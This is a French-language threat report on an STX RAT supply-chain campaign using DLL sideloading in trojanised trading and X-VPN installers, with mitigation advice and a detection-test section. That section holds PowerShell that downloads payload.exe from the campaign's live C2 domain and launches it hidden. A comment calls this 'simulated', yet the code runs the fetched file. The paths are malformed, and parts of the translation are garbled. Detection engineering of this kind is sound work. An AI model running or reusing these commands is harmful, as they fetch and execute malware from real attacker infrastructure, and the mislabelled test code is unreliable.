Des portefeuilles crypto à un VPN de 100 millions d’utilisateurs : à l’intérieur d’une campagne active de chaîne d’approvisionnement STX RAT

Résumé

Des chercheurs ont découvert une campagne active de chaîne d’approvisionnement dans laquelle un acteur menaçant a abusé du chargement de DLL avec un CRYPTBASE.dll malveillant pour déployer le cheval de Troie d’accès à distance STX RAT à travers des installateurs trojanisés pour un logiciel de trading de crypto-monnaies et le client X-VPN. L’opération s’est appuyée sur un seul dépôt Bitbucket pour distribuer les paquets infectés et a fait tourner des domaines de commande et de contrôle sous la racine supp0v3.com . En visant à la fois les utilisateurs d’outils d’échange financier et un service VPN largement utilisé, les attaquants se sont positionnés pour voler des identifiants et d’autres données sensibles à grande échelle. Le contenu de détection a été mis à jour pour couvrir la méthode de chargement partagée et l’infrastructure commune.

Enquête

Les analystes ont identifié 11 paquets malveillants qui utilisaient tous la même chaîne CRYPTBASE.dll de chargement pour charger STX RAT directement en mémoire. Les installateurs trojanisés étaient hébergés dans un dépôt Bitbucket nommé amos-trading, et les métadonnées de commit ont lié l’activité à l’alias Leda Elacoate. Après l’exposition publique, les opérateurs ont tourné l’infrastructure de helloworld.supp0v3.com to àwelcome.supp0v3.com. L’analyse YARA a confirmé que STX RAT était la charge finale dans chaque échantillon examiné.

Atténuation

X-VPN a résolu le problème dans la version Windows 77.5.3, qui impose un chargement strict des DLL à partir des répertoires système, effectue une validation du hachage des DLL au démarrage et applique des politiques de chargement par processus. Le blocage de supp0v3.com et de ses sous-domaines à la périphérie du réseau peut perturber le trafic de commande et de contrôle. Les organisations devraient également renforcer l’hygiène des téléchargements de logiciels et limiter les installations aux sources de fournisseurs vérifiées.

Réponse

Les défenseurs devraient signaler tout processus qui charge CRYPTBASE.dll depuis un chemin non-système et enquêter sur les signes d’exécution en mémoire de STX RAT. La règle YARA STX RAT publiée devrait être déployée sur les plateformes EDR, et le trafic HTTPS sortant vers supp0v3.com devrait être surveillé de près. Tous les points d’extrémité devraient être mis à jour à la version corrigée de X-VPN ou avoir le logiciel vulnérable supprimé. La chasse aux menaces devrait également se concentrer sur le comportement de chargement de code réfléchi associé à la chaîne de déballage multi-étape du malware.

Exécution de simulation

Prérequis : Le contrôle préalable de télémétrie et de base a dû être réussi.

Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer exactement la télémétrie attendue par la logique de détection.

• Narration de l’attaque et commandes :

  Un attaquant ayant compromis un compte utilisateur à faibles privilèges utilise une commande PowerShell en une ligne pour télécharger une charge malveillante depuis le serveur C2 helloworld.supp0v3.com. Cela tire parti de T1071.001 (Protocole Web C2) et T1204.002 (Exécution par l’utilisateur) tandis que la charge elle-même est obscurcie (T1027, T1027.009) et masquée en tant qu’exécutable légitime (T1036.005/008). La connexion sortante au domaine malveillant doit être capturée par le journal du pare-feu et par conséquent déclencher la règle Sigma.

  # Télécharger la charge malveillante du domaine C2 de Supp0v3
  $url = "http://helloworld.supp0v3.com/payload.exe"
  $out = "$env:TEMPpayload.exe"
  Invoke-WebRequest -Uri $url -UseBasicParsing -OutFile $out
  
  # Exécuter la charge (simulé - crée simplement un fichier factice)
  Start-Process -FilePath $out -WindowStyle Hidden

• Script de test de régression :

  # TC-20260609-A1B2C – Simuler la connexion C2 STX RAT à helloworld.supp0v3.com
  try {
      # Étape 1 : Préparer une charge factice (éviter l'exécution réelle de logiciels malveillants)
      $payloadPath = "$env:TEMPpayload.exe"
      Set-Content -Path $payloadPath -Value "Ceci est un exécutable factice pour les tests." -Encoding ASCII
  
      # Étape 2 : Simuler une requête HTTP sortante vers le domaine malveillant
      $c2Url = "http://helloworld.supp0v3.com/payload.exe"
      Invoke-WebRequest -Uri $c2Url -UseBasicParsing -OutFile $payloadPath
  
      # Étape 3 : "Exécuter" la charge (pas d'exécution réelle par sécurité)
      Write-Host "Exécution simulée de la charge à $payloadPath"
  
      Write-Host "Simulation terminée - vérifier l'alerte SIEM."
  }
  catch {
      Write-Error "La simulation a échoué : $_"
  }

• Commandes de nettoyage :

  # Supprimer la charge factice et tous les fichiers résiduels
  $payloadPath = "$env:TEMPpayload.exe"
  if (Test-Path $payloadPath) {
      Remove-Item -Path $payloadPath -Force
      Write-Host "Fichier de charge nettoyé."
  }
  else {
      Write-Host "Aucun fichier de charge trouvé - rien à nettoyer."
  }